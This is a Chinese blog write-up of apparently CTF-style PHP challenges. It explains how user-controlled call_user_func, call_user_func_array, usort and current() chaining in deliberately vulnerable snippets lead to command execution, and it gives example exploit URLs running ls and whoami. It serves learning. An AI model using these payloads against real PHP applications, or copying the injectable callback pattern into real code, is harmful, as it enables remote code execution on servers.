当前位置: 首页 > news >正文

5道挑战题writup

 一

引言

  • system 是 PHP 的内置函数,直接传递 system(而不是字符串 'system')会导致 语法错误system 会被当作常量,未定义时会报错)。

  • ['a' => 'ls'] 是一个关联数组,但 system() 函数只接受 字符串参数(要执行的命令),无法直接处理数组

方法一

<?php$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {unset($parameters['action']);
}$a = call_user_func($action, ...$parameters);

在这题我们需要传入两个参数(action、parameters)action是通过GET传入而parameters是直接就可以传入,再call_user_func()函数中$acrion作为回调函数的位置,所以我们要传入执行函数如system等,第二个传入参数的位置是要带入回调函数执行,所以我们可以在parameters这里输入我们的执行语句如ls、whoami。当我传入

localhost:8000/test.php?action=system&1=whoami

但是我发现传入的时候是1=whoami这是一个数组(引言)

这时候$parameters前面有...可以看出这是一个可变参数(接收任意数量的参数),那么我便可以传入数组

我想看一下如果是call_user_func_array是不是可以不用...就可以直接执行 因为array会循环进入system里面执行。

<?php$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {unset($parameters['action']);
}$a = call_user_func_array($action, $parameters);

 可以可以

方法二

usort(array &$array, callable $callback)

usort函数传入的参数第二个是回调函数可以将第一个传入的参数放入第二个执行,那么我们的第二个方案就来了。

?action=usort&0[0]=system&0[1]=ls&1=call_user_func

在这里面第一个里面传入[0][0]=system,[0][1]=ls,[1]=call_user_func。usort就会将它这样排列

call_user_func(system,ls)

system(ls)

就可以顺利执行我们来断点调试一下。

 

跟我们想的一样

 

二 

方法一

<?php$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {unset($parameters['action']);
}call_user_func($action, $parameters)($_POST['a'])($_POST['b']);

这一题跟上一题的变化是将可变参数删除,在后面添加了($_POST['a'])($_POST[;b'])

主播在看到这道题的想法是两个POST传入的参数肯定是有用的跟第一题的方法肯定不一样

php里面有一个函数current

<?php
$transport = array('foot', 'bike', 'car', 'plane');
$mode = current($transport); // $mode = 'foot';
$mode = next($transport);    // $mode = 'bike';
$mode = current($transport); // $mode = 'bike';
$mode = prev($transport);    // $mode = 'foot';
$mode = end($transport);     // $mode = 'plane';
$mode = current($transport); // $mode = 'plane';$arr = array();
var_dump(current($arr)); // bool(false)$arr = array(array());
var_dump(current($arr)); // array(0) { }
?>

指针指向最后输入的那个plane

我们再来看 

 call_user_func($action, $parameters)($_POST['a'])($_POST['b']);

主播将可以将它分为三个部分看

首先执行的是call_user_func($acrion,$parameters)-->one

one($_POST['a'])--->twe

two($_POST['b'])

那么我可以使用current函数首先我们第一个call_user_func里面可以这样传入

 $action=current&x=current

这样call_user_func(current,'x'=>'current')

这样输出的就是current函数

就变成了current($_POST['a'])

这样指针自然就指向了输入的这个值a就变成了

a($_POST['b'])

这时候主播就有想法了

我们将a传入system

b传入执行语句如ls是不是就可以执行了

 

这里的时候报错了我的发??? 

说主播传入的不是一个string类型 

ok嘛他认为我传入的system是一个假的字符串OK嘛

刚刚主播发现在array里面传入就会被自动加上''那么我可以将传入的a变为一个数组这样就ok了

 

 

 ok啊

方法二

Closure::fromCallable闭包函数

 也有回调函数。是不是也可以利用呢 明天再写

http://www.xdnf.cn/news/1162423.html

相关文章:

  • 跨端分栏布局:从手机到Pad的优雅切换
  • 将 RustFS 用作 GitLab 对象存储后端
  • 前后端分离项目进阶1---前端
  • Ubuntu 22.04 使用 Docker 安装 Redis 5 (安装包形式)
  • 设备虚拟化技术-IRF
  • 电子数据取证领域的双轮驱动——手工分析 vs 自动化分析
  • SpringSecurity 详细介绍(认证和授权)
  • 复制docker根目录遇到的权限问题
  • C++ - 仿 RabbitMQ 实现消息队列--服务端核心模块实现(二)
  • docker磁盘空间不足解决办法
  • MongoDB 查询时区问题
  • linux定时器使用
  • 3、Spring AI_DeepSeek模型-多轮对话
  • 江苏思必驰科技25Java实习面经
  • HTTP,HTTPS
  • 服务器系统时间不准确怎么办?
  • 图论基本算法
  • 部署Zabbix企业级分布式监控
  • 【Unity基础】Unity中2D和3D项目开发流程对比
  • Unity 插件Resize Pro 最快的 Texture2D 调整大小工具
  • Elasticsearch 是 NVIDIA Enterprise AI Factory 验证设计中推荐的向量数据库
  • 数据结构堆的实现(C语言)
  • Web3.0 能为你带来哪些实质性的 改变与突破
  • Vue 脚手架——render函数
  • 【算法笔记】树状数组
  • Linux学习之Linux系统权限
  • 《C++》函数内联,auto关键字
  • 用基础模型构建应用(第十章)AI Engineering: Building Applications with Foundation Models学习笔记
  • 探索无广告音乐世界:MusicFree 免费播放器
  • 海康威视视觉算法岗位30问及详解